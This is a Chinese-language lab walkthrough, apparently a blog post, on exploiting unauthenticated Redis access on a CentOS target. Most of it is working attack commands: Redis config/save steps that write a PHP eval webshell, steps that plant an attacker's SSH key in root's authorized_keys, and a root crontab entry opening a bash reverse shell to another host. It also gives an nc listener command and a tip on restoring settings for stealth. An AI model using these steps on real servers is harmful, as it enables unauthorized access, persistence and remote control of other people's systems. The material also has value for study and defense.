redis提权
利用redis漏洞写webshell
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
22.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(开启web服务器,就可以利用url使用蚁剑进行连接)
利用前提 保护模式改成no
info 可以查看redis信息
192.168.112.188:6379> info
# Server
redis_version:3.2.12
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:7897e7d0e13773f
redis_mode:standalone
os:Linux 3.10.0-1160.el7.x86_64 x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:4.8.5
process_id:4041
run_id:c8f79de1339bff6106652b1f3e64de2df1508b19
tcp_port:6379
uptime_in_seconds:19
uptime_in_days:0
hz:10
lru_clock:2727876
executable:/usr/bin/redis-server
config_file:/etc/redis.conf
利用redis来写出来的文件一定会有一部分乱码,解决方式为在数据的前后加上至少三个\n,如果不这样子,则会导致shell执行失败,实际奥做如下如下:
- 这个漏洞利用可以这样理解:
如果有了redis未授权访问权限,我们就有了在对方电脑上写文件的权利。
使用config set dir [path]命令来决定文件的写入路径。
使用config set dbfilename [filename]来决定文件名。
使用set key value,来确定文件的内容,key值任意即可,value即为文件内容。
使用save命令来确定以上所有操作并生成文件。
我们可以在写文件之前先用config get dir与config get dbfilename命令查询这两个字段的值并保存起来,等到我们写完文件后恢复这两个字段的值,增加我们攻击的隐蔽性。
必须在非保护模式下才有可能利用这个漏洞,如果在保护模式下即使访问了redis也是无法执行命令的
实验过程
前言
利用这个漏洞我们一般会去实现写入webshell、写入ssh公钥、在crontab里写定时任务,反弹shell这三种,我们依次来实现。
攻击机:192.168.112.1(window10)
靶机 :192.168.112.188(centos7)
漏洞利用:利用漏洞写入webshell
192.168.112.188:6379> config set dir /tmp
OK
192.168.112.188:6379> config set dbfilename shell.php
OK
192.168.112.188:6379> set mm "\n\n\n<?php @eval($_POST['code']);?>\n\n\n"
OK
192.168.112.188:6379> save
利用redis漏洞ssh密钥连接
大家都知道可以通过ssh远程登录另外一台电脑。ssh登录有两种一个是密码登录,一个是密钥登录我们主要看密钥登录是什么流程,公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:
1、客户端生成RSA公钥和私钥
2、客户端将自己的公钥存放到服务器
3、客户端请求连接服务器,服务器将一个随机字符串发送给客户端
4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。
利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh
文件夹的authotrized_keys
文件中,进而可以直接使用对应的私钥登录目标服务器。
利用前提
1.当redis以root身份运行。
2.靶机redis链接未授权,在攻击机上能用redis-cli连上
3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录不过可能进不去root目录权限问题可能或者自己mkdir一个目录毕竟是自己搭建靶场。因为.ssh是隐藏目录可以通过ls -la查看有没有。
一、在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空
ssh-keygen -t rsa
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
将文件上传到靶机
cat key.txt| redis-cli -h 靶机ip -x set pub
cat key.txt| redis-cli -h 192.168.112.188 -a 123456 -x set pub
上传文件
192.168.112.188:6379> config get dir
1) "dir"
2) "/usr/local/redis-5.0.8"
192.168.112.188:6379> config set dir /root/.ssh
OK
192.168.112.188:6379> config set dbfilename authorized_keys
OK
192.168.112.188:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
192.168.112.188:6379> save
OK
192.168.112.188:6379> exit
ssh -i id_rsa root@192.168.112.188
可也以将公钥复制下来 用set赋值给 authorized_keys文件
利用crontab反弹shell
kali监听:nc -lvvp 4444
192.168.112.188:6379> config set dir /var/spool/cron
OK
192.168.112.188:6379> config set dbfilename root
OK
192.168.112.188:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.112.128/4444 0>&1\n\n"
OK
192.168.112.188:6379> save
OK
192.168.112.188:6379> set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.112.128/4444 0>&1\n\n”
OK
192.168.112.188:6379> save
[外链图片转存中...(img-kWkdoZlH-1714403151292)]